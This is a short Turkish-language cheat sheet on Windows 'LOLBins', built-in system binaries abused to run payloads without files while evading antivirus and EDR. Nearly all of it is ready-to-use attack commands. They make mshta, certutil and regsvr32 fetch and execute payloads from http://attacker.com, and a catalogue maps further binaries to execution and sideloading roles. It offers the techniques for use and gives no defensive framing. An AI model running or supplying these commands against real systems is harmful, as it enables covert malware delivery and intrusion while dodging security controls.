Modern LOLBins - Windows x64 - Fileless

Windows LOLBins ile Shellcode Calistirma - Living Off The Land

LOLBins, Windows'a yerlesmis megru ikili dosyalarin zarali amaclarla kullanilmasidir. AV/EDR megru sistem araclarini engellemeye cekimser davranir.

mshta.exe HTA Tabanli

mshta.exe http://attacker.com/payload.hta # payload.hta:

certutil.exe Download

certutil -urlcache -split -f http://attacker.com/p.b64 out.b64 certutil -decode out.b64 payload.exe

regsvr32 Squiblydoo

regsvr32 /s /n /u /i:http://attacker.com/p.sct scrobj.dll # payload.sct: COM object via JScript

LOLBins Katalogu

mshta.exe -> HTA execution regsvr32.exe -> COM scriptlet certutil.exe -> Download + decode rundll32.exe -> DLL sideloading wmic.exe -> Remote command Tam liste: lolbas-project.github.io